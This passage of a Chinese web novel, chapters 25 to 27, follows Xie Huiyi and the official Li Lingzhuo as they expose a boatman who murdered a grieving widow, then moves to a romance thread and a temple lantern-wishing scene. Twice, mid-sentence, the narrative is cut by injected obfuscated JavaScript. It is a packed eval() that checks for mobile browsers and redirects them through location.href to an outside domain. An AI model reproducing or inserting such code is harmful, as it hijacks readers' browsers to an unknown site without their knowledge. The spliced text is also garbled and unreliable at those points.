“永州人真是会做生意,”李兰畹颇感遗憾,“我们总不能折回去,就为了那一口绥鱼。” 谢晦已坐在桌前一言不发,目光扫视着房屋四周。方才抵达这栋房屋时,她体内的蚁虫忽然活跃起来,不断告知她,这附近有熟悉的蚂蚁活动。 想到这户人家的来历,她出言切入了正题:“张夫人,你家相公最近去过青州?” “是啊,青州前些日子出了那样大的案子,他作为官府差役,自然是要替定州去过问,毕竟这边有不少人祖籍是青州的。差役嘛,跑跑腿很正常,攒攒功劳兴许还能熬出头呢。”张夫人答道。 “那这次在山谷中牺牲的是……”谢晦已继续问道。 “是他的弟弟。” 张夫人言及于此,忽然叹息一声。 “我们都是定州本地人,二弟是个游手好闲的性子,我们为了他没少操心。前些年听说青州府有空缺,相公连夜捆着二弟送到了青州。其实二弟跑出来好多次,然而次次都被相公抓了回去……谁知道会是那种结果。 “青州那位张知府,说起来与我是拐了八个弯的远房亲戚。他在任时,我还托娘家送了不少东西过去,请他对二弟多加照料呢。” 张夫人又叹息一声,“恤金送到定州时,相公怎么也不肯接受现实。他觉得二弟的死是他造成的,所以特意揽了送恤金的差事,将二弟的恤金偷偷塞给别人家,就当是为自己赎罪了。 “那日送他跑腿的船夫也被他给了赏钱。他从来都不是个出手阔绰的人,出了这样的事情,他心里实在是太苦了。” 李兰畹与谢晦已交换了眼色,继而将手中茶杯打翻在地。借着拾物的空隙,她将袖子里的银票塞进了桌脚。 张夫人从李兰畹手中接过杯盏,连忙道谢:“麻烦这位小姐了。” “没什么,举手之劳。”李兰畹点头微笑道。 就在这时,门外传来了敲门声。 张夫人将茶杯放至一旁,用围裙擦了擦手,对外间喊了一句:“是谁?” “官府查案,这里是叶家吧?” 听见这道熟悉的声音,谢晦已眉宇轻抬,替张夫人答了一句:“大人稍等。” 越过张夫人她伸手推开门,在看清屋外之人后,又对他轻哼一声:“阴魂不散,李大人有何贵干?” 门外的李灵濯垂下头,面上先是一抹讶然,而后哑然失笑。 “怎么又是你?” 25. 水道命案 “今日你发现的那起命案,跟这户人家有关。亏你还敢在人家里待这么久?” 他们一行人抵达了官府衙门。那名叶差役也在,这会儿正坐立不安地留在正堂。 看见自家夫人一同前来,他三步并两步地跑了出来,紧张地搓手问道:“李大人,这是不是搞错了?贱内没有随我一同处理过公务。” “没有错,”李灵濯扫视一周,“死者身份,在座的诸位都是知情者,凶手定在你们当中。” 闻言,谢晦已也抬起头,打量着身旁所有人。 除去他们几人,李灵濯还带来了今日的船夫、过路的商贩以及经手此案的所有差役。 得了指令,李灵濯身边的暗卫接管此案,协同无关的官吏,开始盘问命案细节。 轮到谢晦已时,李灵濯替了那人的工作,拿来了册子,饶有兴味地看着她,“谢小姐四日前在什么地方?” 谢晦已抬手夺走了他手中的笔,悄悄开了口:“非要这样走一遍流程?李大人安的什么心?” 李灵濯将笔抢回,又用笔杆在她手心轻轻勾了一下。 “请谢小姐配合查案。” 随后他颇为正经地敛住笑,端着朝廷命官的架子,再次认真发问:“四日前谢小姐在做什么?” 谢晦已想也不想直接答道:“在陪李大人游山玩水。” “涉嫌贿赂官员,罪加一等。”李灵濯提笔写字。 鬼知道他会在册子上写什么。 谢晦已没有吭声,见四下无人,抬手在他腰间狠狠一掐。 李灵濯倒吸一口冷气,随后用笔杆拍掉了她的手,“谢小姐不要妨碍公务。” 他穿着朝廷赐下的绛红色金丝暗纹飞鱼服,腰间佩着绣春刀,踏着织金纹履,端的是一副衣冠楚楚的矜贵模样,惹眼得很。 这身衣服鲜少见他穿,谢晦已不禁多看了几眼。 李灵濯将这一切尽收眼底,装作毫不在意地询问道:“今日谢小姐打算几时回来?” “那要看李大人办事效率如何了。”谢晦已笑纳了他的暗示。 李灵濯眉宇微松,却原地不动:“这么说,谢小姐是不觉得定州无趣了?” 见他如此,谢晦已伸手勾住他的腰带,拉近了二人之间的距离,“李大人肯费心思,我哪里会觉得无趣?” 李灵濯将册子最上面的那一张纸撕了下来,以笔杆撬开她的五指,将其一角塞进她手中,“湖心阁我定了位置,今夜请谢小姐一同游湖?” “准了。” 看着册子上面明晃晃的大字“游湖一叙”,谢晦已嘴角一抽,而后配合地将手指往下一按,留下了红色的指印。 李灵濯收走这页纸,折了几折后塞入袖中。转过身,正好有几名亲卫递上几份口供,他拣出几份翻阅着,期间目光不断扫视众人,视线很快就锁定在几人之中。 “那日你都做了什么,按照这上面的时间,从头到尾复述一遍。 李灵濯拿着那份口供,站在叶差役的面前。 叶差役在官府多年,自然明白他是想验证这份说辞并非临时编造,于是配合地开口叙述: “大人,那日我在替官府送恤金给各户人家。定州城中,算上我家一共是三家,我没有留下我那份,而是将其拆成两份塞给另外两家。那日清晨,我乘船去了一对老夫妇那,他们有一个哑巴儿子,与我弟弟年纪相仿,又与他一样死在山谷,所以我不忍告知他们真相,寒暄了好一阵子,午后才动身离开。 “第二户人家是这位老夫人,她看见我便猜到了我的来意。拿到钱后,她什么都没说,只是捂着心口蹲在地上,拿手背擦了很久的泪水。我担心她承受不住噩耗,便陪她多留了一阵,直到入了夜才叫船夫送我回家。我将我身上剩余的钱财都给了他,他一定可以为我作证。” 李灵濯看他说的分毫不差,又问了另一个问题。 “老夫人在你走后便遭人杀害了,你那时什么都没有注意到?” 叶差役格外笃定地说:“不,大人,至少在我上船前她还没有死。当时我在水道上等船,我瞧见老夫人向我招手了,她绝对是在我离开后才被人打死的。” “那天天气如何?水道中的水位如何?” “刚下了一场雨,夜里起了雾气,水位大概……”叶差役比划了一下,“离岸边大概这么深,肯定是比今日要高的。” “嗯。” 李灵濯转过身,轻声与素秉吩咐了几件事情。待素秉出门后,他再次将视线移向附近的商户。 “你几日前将摊位换了位置,为什么?” 那商贩一直着急离开,这会儿什么实话都不要钱地丢了出来,“李大人,小的做的是小本生意,卖的就是一个新鲜劲儿,只能唬一唬外地人。这地方闹鬼,外地人听说了哪个想来沾晦气?况且这种晦气最容易冲撞财气,我不搬地方啊,迟早要亏钱的。” “这个传闻我也略有耳闻,你这个当地人最早是什么时候听见的?” “四日前吧,我那天晚上耽搁了一会儿,出摊的时间比往常晚些,坐船路过这里时,我还真就听见了一点动静,像是尖叫哭嚎。我吓坏了,可是出摊要紧,大不了就换个地方嘛,所以我去了另一条街。” 听了他的话,李灵濯思忖片刻,便有了答案,“我想真相也该水落石出了。” “李大人有何高见?老夫人身上的伤口形状长而扁,凶器是为何物?”一名官员恭声询问道。 “此事稍后再议。” 李灵濯抬手指向其中一人,声音略带威严,“先把他给我拿下。” 在场几人均是一惊,因为那人正是定州水道上的船夫,也是谢晦已她们今日遇见的第一位船夫。 船夫膝盖一软,当即跪倒在地。 “冤枉啊大人!小的只是个划船的,怎么会跟命案扯上关系呢?更何况那个地方也闹鬼啊!万一是真的……” “不见棺材不落泪。”李灵濯没有理睬他,转头瞥向官府门外。 这时,素秉抱着一只狸花猫走了过来,方才还算白净的脸这会儿多了一道抓痕。 “主子,猫抓到了。” 船夫疑惑道:“猫?猫又怎么了?难道这位大人想用一只畜生定我的罪?这老夫人家里明明就是闹鬼,听见他们家里有动静的人不止我一个,大人尽可去四周打听!” 素秉略带怨气地瞪向船夫,“鬼什么鬼?死者天天在街头喂养它,时间久了,这只猫略通人性,会主动前来看望。” 素秉放下狸花猫,继而又对船夫冷冷地说:“你杀了人,它又不会说话,只能在屋子里喊叫,希望有人能推门而入救她一命。然而这一切都被你说成是邪祟作恶,你借着水道四通八达,四处散布谣言,硬是让她停尸数日,无法入土为安。” 一旁的李兰畹忽然扭头看向船夫,“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15875702|176309||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 怪不得半路上你会说那样的话。原来你不仅故意绕了远路,还想用这种方式吓走我们!” 叶差役面色苍白,浑身止不住地颤抖,“不对不对!那我那时看见的是什么?向我招手的是什么?” 谢晦已一瞬间明白了其中关窍,对叶差役出言解释道: “是船夫挥动船桨打人的情景,他在你走后溜入房门,那一幕恰好被你看见。当时雾气浓重,你一时看走了眼,连他手中的船桨带血也并未觉察。船桨离岸要浅撑岸边,以当日的水位来看,或许岸边会有些微痕迹。” “是,”素秉颇感诧异,显然没想到谢晦已会说中细节,“确如谢小姐所言,倘若水位较浅,没几日那道痕迹便会被江水淹没,然而那日是近来水位最高日,在水位线以上的岸边有一道很浅的血迹。” “怎么会是这样!” 叶差役这个时候意识到了什么,忽然冲开侍卫,踉踉跄跄地跑到了船夫面前。“你、你是跟我一起过去的,是不是因为看见我送给她一大笔钱财,她又孤苦伶仃的,你才对她起了杀心?你说话!” 说着,他双眼通红地挥起拳头,好在被侍卫拦下,将他们隔开了一段距离。 “你说话啊!为什么要这样做!她刚死了儿子,孤苦无依,你是怎么下得去手!”拉得远了,他依旧歇斯底里地大喊着,最后脱了力,险些晕死过去。 “你冷静些!” 张夫人冲了过来,掐着他的人中竭力安抚道:“你冷静些,这些不是你的错!是他自己造的孽!” 船夫被这接二连三的变故冲昏了头脑,却还是辩解道:“不、不是的,你们口说无凭!” 素秉冷笑一声:“你以为我只去抱了猫过来?她因头部遭受重击而亡,伤口处残留木刺与一点水草,这些都可以与你船桨的材质与陈年污垢对得上。你莫说船桨借人了,那天晚上见你出现在附近的可不止一人,你还有什么话要说的吗?” 船夫如遭重击,瘫软跪倒在地,那双眼睛却死死地盯着素秉,半晌没有说出一个字。 “把他押下去。”李灵濯一锤定音。 随即,屋中几名侍卫将船夫押入了大牢。 眼看闹剧收场,叶差役失魂落魄地坐在一旁,而张夫人正半蹲在旁边安抚他的情绪。 “都怪我,弟弟跟那位老夫人都是因我而死,都怪我……”叶差役嘟囔道。 “天意难料,谁能知道后面会发生那样的事情呢?你别太自责了。” “不,你别安慰我了,这一切都是我的错!我真该死啊。” 谢晦已看了他们许久,在怀中摸了摸,掏出一张帕子塞进叶差役手中。 “叶大人莫要自责,天意难料,你怎么能将这一切都大包大揽在自己身上?担子多了,责任也就更多,你肉体凡胎如何能承受得住?” 叶差役接住帕子,看了谢晦已半天,终是神情复杂地叹息一声。 此时,门外忽然有侍卫来报。 “李大人,门外有一对老夫妇急着要见您,说是担心叶大人缠上官司,特意前来为他作证。” 此言一出四座皆惊。 谢晦已不明所以,转头看了一眼李兰畹,后者心里同样忐忑不安。 “不会有这样巧的事吧?”李兰畹喃喃自语。 李灵濯挥手放行,那对老夫妇被侍卫引领着,从门外行至众人面前。 “青天大老爷!” 26. 公事公办 老夫妇见到李灵濯,二话不说直接跪拜在地。 “青天大老爷明鉴,那位叶大人是个好人,绝无可能做出杀人放火的勾当!” 李灵濯说:“你们先起来。素秉,赐座。” 素秉一左一右将人搀扶起,墨承颇有眼力地替他搬来两把木椅。 老夫妇一面谢恩一面环顾四周,终于在一个角落里瞧见了脸色苍白的叶差役。 “哎哟,叶大人这是怎么回事啊?”说着,他们颤颤巍巍地站了起来。 叶差役哪里敢折腾他们,急急忙忙迎了过来,“老人家,我们坐着说话。” 张夫人看了一眼坐在高位的李灵濯,得到默许后才将案情告知于他们,随即又一脸歉意地说道:“老人家,我相公什么事都没有,白白让你们跑了一趟啊。” “真的没事吗?”老妇人看了一眼叶差役,这时又注意到屋内的谢晦已,“还有这两位小姑娘,你们也被牵连到了?” “是真的,李大人明察秋毫,现在案子已经结了,”望着他们花白的鬓角,叶差役心中愧疚更甚,“倒是让你们担惊受怕了一路,夜露深重,回头我与内子送你们回去吧。” 闻言,这对老夫妇却是将头摇成了拨浪鼓。 “不,这哪里算是担惊受怕?明明是我们给官府添麻烦,不仅受着官府恩惠,还让你们几个撒谎安抚,我这心里啊,实在愧疚。今夜若不能替你办成这件事,我真是无颜入土啊。” 听到这话,叶差役惊愕不已:“你、你们都知道了?” 老妇人望着他缓缓答道:“那会儿我们实在是没法接受,但是看见你这孩子一脸难过,就想着怎么也得让你开开心心的……唉,你这孩子真是个实诚人,撒起谎来啊,全是破绽。” 叶差役尴尬地笑了笑,又听见老妇人指着谢晦已说道:“这两位姑娘机灵得很,我还什么都没说,她们就猜到了来龙去脉,还想替你遮掩一二。你们都是善心肠的人,上天会庇佑你们的。” 听了这话,李兰畹腼腆一笑,“老人家言重了,我们只是做些力所能及之事,聊表心意。” “姑娘莫要谦虚。对了,我们今日过来呢,还有第二件事情。” 说着,那位老太爷从怀中取出两份沉甸甸的纸袋,随后他缓缓起身,向前走了几步,双手将其递出。 “这些钱我们一笔都没动,我知道你们肯定不会收,就想着能不能把这笔钱捐给工部?那堤坝护着定州这么多年,维护也要花不少钱吧?” 定州知府连忙将钱推还给他,“朝廷给出去的钱哪有收回来的道理?老人家还是拿回去吧。” 老妇人也走过来,帮着将钱推了出去,“这钱我们是断断不能收了,我儿未对盛朝做过什么贡献,又是个口不能言的,就当我们替他做点事情,让他不白来这一遭吧。” 说罢,他们生怕官府不收钱,再次跪倒在地。 “请你们拿回去吧,我们半截入土的人了,花也花不掉这些钱,不如拿去做些实事。我们不至于青史留名,却也能成为盛朝的瓦砾,守卫一方水土,这就是我们存在的意义。” 素秉跟旁边的官员急忙去搀扶他们,然而他们却铁了心地跪在地上,任谁来劝都纹丝不动。 就在这时,李灵濯穿过人群,从他们手中接下了纸袋,“朝廷有税收撑着,两位老人家总不能将这种事情全都揽在自己身上。” 他一边说着,一边从中抽出几张纸票,“不妨这样,这次我先拿走这些,以后每月都让那位姓叶的登门拜访,再与你们商议下一月的维护开销。” 李灵濯转头看向叶差役,把纸袋交给了他,“他们住得偏了些,你每月出行有什么不便之处,记得上报官府。” 他语气严肃,颇有公事公办的架势,直接将那两位老人家唬住了。 叶差役站起身行了一礼,出言婉拒道:“下官为民办事,不敢如此娇贵。” 他话音未落,就被身边的张夫人狠狠踢了一脚,“你不娇贵,难道劳累的不是我吗?” 叶差役一个踉跄,倒也听懂了夫人的暗示,急忙改了口:“我有晕船之症,往日有劳夫人照料,倒也算不得什么难处。可若是走船走得频繁了,免不得要停留歇息,届时怕是要叨扰两位老人家了,当然,我绝不会空手而去。” “大人客气了,这算什么叨扰?” 老妇人信以为真,还拉着张夫人交谈许久,教给她几个医治晕船之症的偏方。 一旁的官员总算松了一口气,转头给手底下的人布置任务,“时候不早了,你们几个去送送老人家。” 他又看向叶差役,“脸色这么差,你也早点回去歇息,老人家的事情你可要放在心上啊。” “是,多谢大人体恤。”叶差役应道。 在各路人员四处走动之时,谢晦已不动声色地走到李灵濯身边。 背对着众人,她在身后勾住了他的手指,“事了拂衣去,深藏身与名?” 李灵濯微微歪头,目光却是坚定地看向前方,“谢小姐有何指教?” 在宽大衣袖的遮掩下,谢晦已伸手摸进了他的衣袖,将藏在其中的几张银票抽了出来。 “你假装从里面掏出了东西,可实际上,你掏出来的是你自己袖中的银票。唬一唬他们也就罢了,谁让李大人有官威呢?” 李灵濯拍了一下她的手臂,语气带着几分无奈,“既然你掏出来了,那便归你了。” 谢晦已抬眸看他,“我还没瞧它面额几何,谁知道值了还是亏了?” 李灵濯问:“几张银票而已,你想要它有多值钱?” 谢晦已轻笑一声,偏过头去看他,“能不能买得起李大人的春宵一刻?” 李灵濯答道:“定州价贵,一刻值千金。” 谢晦已问:“李大人是待价而沽,还是坐地起价?” 李灵濯微微摇头,“都不是。贵人免开尊口,待我不请自来。” “且慢。” 摸着他腰间的刀,谢晦已的气息贴在他的耳畔,“穿着这身皮来,我要全须全尾的锦衣卫。” 李灵濯眉头微抬,眼里闪过一抹了然的笑。 出了衙门,二人便乘船游湖,把酒赏月。 枕刀在侧,酒盏坠地,湖波荡漾,行舟沉浮,呼吸重叠,又是一夜醉生梦死,一船不可言说。 谢晦已指尖动了动,悠悠转醒时,发现自己手中还攥着李灵濯的蹀躞带。 宿醉让她头脑隐隐作痛,她不禁再次闭上了双眼。头一次喝酒没个轻重,不过她酒量似乎还算不错? “头疼了吗?看你睡梦里一直皱着眉。” 李灵濯侧过身,抬手去按她的太阳穴,“今日无事的话,你可以多休息一会儿。” “有事,”谢晦已捂着头缓缓起身,捡起了地上的外衣,“我要去沐浴更衣,今日约了人见面。” 说罢,她又回过头瞪了李灵濯一眼,“我自己一个人洗。” 她可忘不了昨夜从游船尽兴归来后,某人自告奋勇服侍她沐浴更衣,服侍到最后又换了一桶水清洗的事情。 李灵濯对她勾了勾手指。 谢晦已侧头去听,就听见他笑着说了一句,“谢小姐很喜欢那身衣服,我记下了。” “衣冠禽兽。” 谢晦已随手抄起枕头向他砸去,继而披上外衣出了门。 今日她单独外出,在水道上接连换了三艘行舟,确认四处无人盯梢后,敲响了那户人家的房门。 “谢小姐。” 开门的正是张夫人,“昨夜你向我递了字条,让我跟夫君务必在家等你,可有什么要事?” 谢晦已回忆着昨天晚上的情景,当她看见案子告破,那对老人家解开了叶差役的心结时,余下的怨念终于化作了完整的记忆。 那位尊先生曾出现在哑巴的记忆中,不过,此时还有一件更重要的事情。 谢晦已看向叶差役,缓缓开口道:“你的弟弟在青州已有家室。” 听了这话,刚呷一口茶水的叶差役呛了半天。 “我弟弟?他不是已经去世了?谢小姐怎么会知道他的事情?” 张夫人也有些坐不住,“家室?这么大的事情为何我们从未听说过?” 谢晦已不慌不忙地放下茶盏,温言解释道: “还未来得及自报家门。吾今日并非谢小姐,而是昙门无极无相仙人,此次只是托付于弟子谢氏之身,你们唤吾为‘山鬼娘娘’便好。吾能看见一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15875703|176309||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 些往生之人的残念,机缘巧合之下看见了你的弟弟。” 听了这套说辞,叶差役语气稍显冷淡,“抱歉,我从不信鬼神之说,谢小姐若是故弄玄虚的话,请恕我失礼了。” 谢晦已倒也不急,只是出言反问道:“倘若你弟弟在青州留有血脉,你也要不认吗?” “什么?”叶差役颇感震惊,“什么血脉?” 谢晦已说:“你初次送他去青州,是六年前。他中途跑了三次,第四次去青州时,他在青州府当了差役。他替官府做事,时常在山野间奔波,也在这时遇见了一位卫姓姑娘,然而那户人家并不满意这桩姻缘,于是卫娘子跟你弟弟私奔了。” “丢人现眼,”叶差役闻言气得不轻,“无媒无聘的,他怎么好意思带着人家姑娘跑了?怪不得不敢告诉我,原来他做了这等混账事!” 谢晦已继续说道:“他自知理亏,为了这位卫娘子,也为了他们的女儿,更为了能向你有个交代,他在青州府卖力做事,也是由此被王同知蛊惑,骗去了山谷做监工,至此音信全无。 “但他不知道的是,他的妻子女儿也被送入了山谷之中,好在最终被吾救了出来。这些都是你弟弟告知于吾的,她们母女俩如今尚在青州。” 叶差役听着她的话,久久不能回神。 张夫人虽然听得云里雾里,但反应得极快,“谢小姐的意思是,您是二弟妹跟侄女的救命恩人?” “恩人不敢当,不过是随手搭救,”谢晦已谦逊道,“前些时日吾刚去看望她们,卫娘子抱恙在身,不过并无大碍。那孩子是个聪明伶俐的,与她母亲生得极像。” 张夫人不禁连连叹息:“不知卫娘子家中还有亲人在吗?这些年她一个人拉扯孩子,又遭了这么多罪,真是不容易。” “山谷里的事也祸害了她家里人,如今只剩她自己了。”谢晦已答道。 张夫人踌躇许久,又开口问道:“那……我能不能去看望她?既是身子不好,养育一个半大的孩子该有多艰辛?我过去搭把手,也算是尽我一份心意。” “她如今尚在休养,也并不知晓你们的存在,”谢晦已动用手中的念力,点了一下张夫人的额头,“若是拜访的话,一定要缓缓说,莫要刺激到她。我将她的相貌与住处交给你了,今夜你会梦见这一切。” 张夫人先是被谢晦已的手法惊了一下,又开始为卫娘子感到担忧,“我定是要去拜访的,她一个人在青州也没个照应,这怎么能行啊?” 说着,她瞥了一眼叶差役,用胳膊肘怼他道:“你傻了?怎么一直不说话?” 叶差役的双眼一直盯着虚无,愣神了半天,这会儿终于回了神。 他苦笑一声,随即眼眶开始泛红,“他倒是死得痛快,留给这对母女一个烂摊子。抱歉谢小姐,外面坑蒙拐骗的神棍见多了,我刚才的语气有些不耐烦。” “没关系,”谢晦已毫不在意地摆了摆手,“吾也遇见过破口大骂的,这都是小事。” 说着,她抬手将那一抹心念点在他的额头,“今夜你也会做一场梦,去跟你的弟弟好生告别。” “山鬼娘娘。” 望着谢晦已的举动,张夫人率先改了口,“你为我们做了这些事情,我们需不需要为你做些什么?我知道去佛门许愿都是要还愿的。” 谢晦已微微颔首,“确实有一件事情需要你们帮助吾,但吾希望此事不要被旁人知晓,包括卫娘子跟卫卓歆的存在,否则吾也不会避开那些人,私下与你们相见。” 叶差役毕恭毕敬地回答道:“我明白,她们作为幸存者,不仅会被幕后主使灭口,更有可能遭到死者家属的嫉恨。山鬼娘娘但说无妨。” 谢晦已将尊先生的事情说了七七八八,并描述了与他同行的船夫的模样。 “吾疑心他们跟山谷之事有关,所以吾需要一个当地人替吾暗中追查。你们也明白,这种线索事关鬼神之说,吾说出去不仅不会有人当真,还会暴露吾的能力,引火烧身。” 叶差役郑重承诺:“是,我定会在水道中留意这位船夫,倘若他出现在定州,我便以书信告知。” 谢晦已微微颔首,“此事凶险,你们定要注意安全。青州那边,也有劳你们暗中照应了。” 27. 定庙风波 定州城中难得安生了两日。 谢晦已收到了画师的来信,第一版模子已经刻好,不过黑市那边还要再观望两日。 客栈外面的马车上,候着李兰畹与于虞。烧掉信件,谢晦已披上氅衣走出门外。 年关将至,今日她们要去定庙祈福,这里供奉着鱼仙,据说是定州百姓捕捞上来的第一条绥鱼,象征着丰收与家宅安宁。 按照定州习俗,小年前一日,将自己的心愿写在信笺上,封入一盏莲花灯,随后将莲花放在定庙的水缸中,倘若心愿能成,便在花瓣处浮现一个“是”,倘若不成便是“否”。 如果能成的话,就让心愿随波逐流,放入溪流之中汇入绥江,随遇而安。如果不能成,就要捞起莲花,丢进香炉之中焚烧殆尽。 下了马车,她们换上了进入定庙的船。沿水道而上,不少莲花灯从船边经过,颜色各异,大小不等。 “不是统一的样式吗?”李兰畹颇感惊奇。 于虞笑着解释道:“绥江以南的民风大多如此,讲的是一个随心所欲。定庙里的莲花灯会有很多种类的,你们莫要挑花了眼。” 谢晦已看着旁边的莲花灯说:“我们都是没来过定庙的,怕是要一口气买好几盏灯。放走一盏,再留下几盏做纪念。” “姐姐提醒我了,”李兰畹笑了起来,“原本我还担心,好不容易挑了一盏合心意的莲花灯,若是愿望不成怎么办。这下好了,我去买上十个八个合心意的,总会有成功流走的那一盏。” 定庙门口的法物流通处排起了长队。 趁着排队,于虞为她们讲解道:“我们进去了先上香。向四周祭拜,算是跟神仙打了声招呼,让他们听见你的心愿。做完这些,再去买自己的信笺跟莲花灯。” 两人应和着,排到自己时,取了三支香火。 谢晦已也不知为自己求什么,就照猫画虎拜了拜,随手插在香炉中。抽开手的那一刹那,香灰掉了一截,正好烫在她的手背上。 “嘶。” 谢晦已捂着手走远了些,又听身旁一位妇人温声说道:“手得香,是好兆头。姑娘不必过于忧心。” 谢晦已转过头,客气回应道:“多谢夫人提点。” 然而她连愿都没许,一时半会儿也想不出来能有什么好兆头。 李兰畹拿着手中的两盏莲花灯,比对了半天,最终放在谢晦已眼前,“姐姐,黄色的信笺配什么颜色的莲花灯好看?” 谢晦已正掂量着手里那盏巨大无比的粉色莲花灯,听见她的问题后回过了头。 “两盏都是蓝色的,它们有什么区别吗?” 李兰畹一手提着一个给她看,“这一盏是重瓣的,这一盏是单瓣的。” 对此,谢晦已也没什么头绪,“你第一眼喜欢哪个就是哪个吧,能让你第一个拿起来的,一定有它的道理。” 李兰畹似懂非懂地点点头,瞧清谢晦已手中的莲花灯时,她不禁揶揄了一句:“姐姐这是想求姻缘顺遂?你对兄长竟是如此情根深种吗?” “什么?” 谢晦已手上一顿,将莲花底座拿了起来,又环顾四周,这才注意到墙上写着粉色对应着姻缘。 “这不成,”谢晦已连连摇头,将看上的莲花灯放了回去,又对李兰畹询问道,“你手里的蓝色是求什么的?” “是功名,我读书太慢了,虽然我走不得科举,但借一下这份寓意应该是可以的。姐姐,那盏莲花灯你拿都拿起来了,这就是缘分啊,放回去多可惜。”李兰畹说。 “姻缘是求旁人跟我自己绑在一块,若是心意相通倒还好,若是强扭的瓜,求来也只会给自己添堵,倒不如顺其自然。” 谢晦已答道,随即挑了一盏红色的灯,“平安是福,就它了。” 李兰畹听了这话不免有些担忧,“姐姐跟兄长可是强扭的瓜?” 谢晦已朝她坦然一笑,“倒也不是,倘若不是看他顺眼,我怎么会跟他在一块?” 她敏锐地觉察到李兰畹有话要说,于是追问道:“怎么了?你平时不会过问这些事情的。” 李兰畹四下打量,见身边没有李灵濯派来的暗卫,悄声与谢晦已说道:“姐姐,我说了这件事情你可不要生气。” “你说。”谢晦已道。 “前些时日兄长进城捉人,捉的是青州案牵扯到的官员。其中有一人很特殊,是安定侯宠妾的兄长,我瞧那人为了赎罪,献了自己另一个妹妹给兄长,说是要帮兄长搭线,叫他与安定侯做连襟。” 李兰畹将憋在心中多日的秘密一吐为快,这会儿终于松了一口气。随后她又继续说道: “兄长没答应,不过他们男人纳不纳妾向来没个准,我真替姐姐感到担忧。我们才刚出青州,就像挑选莲花灯一样,日后未必不会遇见比他更好的男子。所以姐姐待兄长真心与否不重要,莫要伤到自己便是。” 望着李兰畹真挚的目光,谢晦已伸手将她紧紧挽住,“这些话你在心里憋了很久了吧?一直没找到机会对我说?” “是。平日里总看见他待在你身边,我想单独找你都难。” 说这话时,李兰畹的语气略带抱怨,“青州好歹还有个山谷让他忙半个月呢,怎么到了定州他就赖在你身边不走了呢?” 谢晦已哑然失笑:“你说的什么话?好歹也是你兄长。不过,你若是想来找我,我随时都会为你腾出时间。既是让你叫了一声姐姐,你便是我重要的家人,所以这些话不要憋在心里。” 听着谢晦已发自肺腑的话,李兰畹内心的阴郁一扫而空,又继续追问道:“那对于兄长,姐姐日后有什么打算?” “没什么打算,顺其自然吧。” 谢晦已实诚地摇了摇头,“投缘的话做个伴也没什么不好的,京城还远,与人同行总比我一人赶路安全。我没什么牵挂,半路有事耽搁就此别过,也不是没可能。” 闻言,李兰畹稍许放下心来,“姐姐能快乐就好。你知道的,比起兄长,我更拿他当姐夫看待。” “那我也跟你说个事情,”谢晦已狡黠一笑,“这件事情你兄长与我说过。” “什么啊?”李兰畹顿觉尴尬至极,“你明明知道,还纵着我说东说西?” 谢晦已抬手摸了摸她的脑袋,笑着说道:“我想让我的大功臣多多替我操心,这样我才有理由带你去吃绥鱼。” “你跟我客气什么?我不过是动动嘴皮子,跟兄长朝夕相处的人是你,帮他处理公务的也是你,我见不得他做什么对不起你的事。”李兰畹说。 “那我再与你透露一件事,”谢晦已扫视四周,随后压低了声音,“你可曾听说过瘦马?” “来定州后听说过,官员不得狎妓,却有人专门培养一些女子,以供他们收为姬妾。” 李兰畹刚说完,就忽然意识到了什么,“姐姐,难道说那宠妾,还有要献给兄长的是……” 谢晦已微微颔首:“甚至还是青州出身。你有想到什么吗?” 闻言,李兰畹瞳孔骤缩,指尖死死攥住谢晦已的衣袖:“青州?一桩青州案竟能牵出这么多人?这些年来,他们到底买卖了多少人口?” 她喉间发紧,压低声音咬牙道:“那狗东西分明是想拖兄长下水。用‘瘦马’做筹码,等把柄落定,兄长就只能跟他们同流合污。” “定州鱼龙混杂,又有安定侯坐镇。你行走在外,处境只怕比我更危险。”谢晦已攥住李兰畹的手,语重心长地叮嘱着,“那伙人在你兄长处吃了闭门羹,难保不会把主意打到你头上。” “那我就再买一盏莲花灯,咒也要咒死他们。” 说罢,李兰畹颇为气愤地拿起那盏单瓣莲花灯,转身去了水道旁边。 谢晦已注视着她的身影,忽然欣慰一笑。 李兰畹颇有锐气,却惯于逆来顺受,面对府中诸事,她都只是默默站在一旁。仰仗于权威的人,如今不知不觉间有了自己的主张,或许这就是在于夫子身边求学的意义吧。 日头渐升,定庙中的人更多了。 于虞将自己的莲花灯放入庙里巨大无比的水缸中,静置了一会儿,耐心地等待字迹浮现。 “要等结果了,于夫子紧张吗?”谢晦已走了过来。 于虞双手合十,目光格外虔诚,“有些,毕竟我问了一个很严肃的问题。谢小姐呢?已经写完了问题吗?” 谢晦已摇了摇头,“我还没有。也许是我的问题太多了,一时间想不起来先写上哪一个。” 于虞温声劝慰道:“静下心来,万事都会有一个轻重缓急。” 谢晦已不禁看了一眼天色。 想起方才被香灰烫到了手背,她心里忽然冒出来一个念头。 “我们会顺利抵达京城吗?” 她吹干了墨迹,将信笺折好放在莲花灯里,又将其放在刻有莲花宝瓶纹的铜缸之中。 不多时,莲花灯显现了一个字,“否”。 谢晦已抿了抿嘴,将莲花灯从水中捞起,随手丢进了一旁的香炉之中。 再转过身时,她看见了一脸凝重的于虞,还有面露喜色的李兰畹。 “于夫子的结果也不理想吗?”谢晦已询问道。 于虞叹息了一声,随后摇摇头,“是一个肯定的答复,所以我感到吃 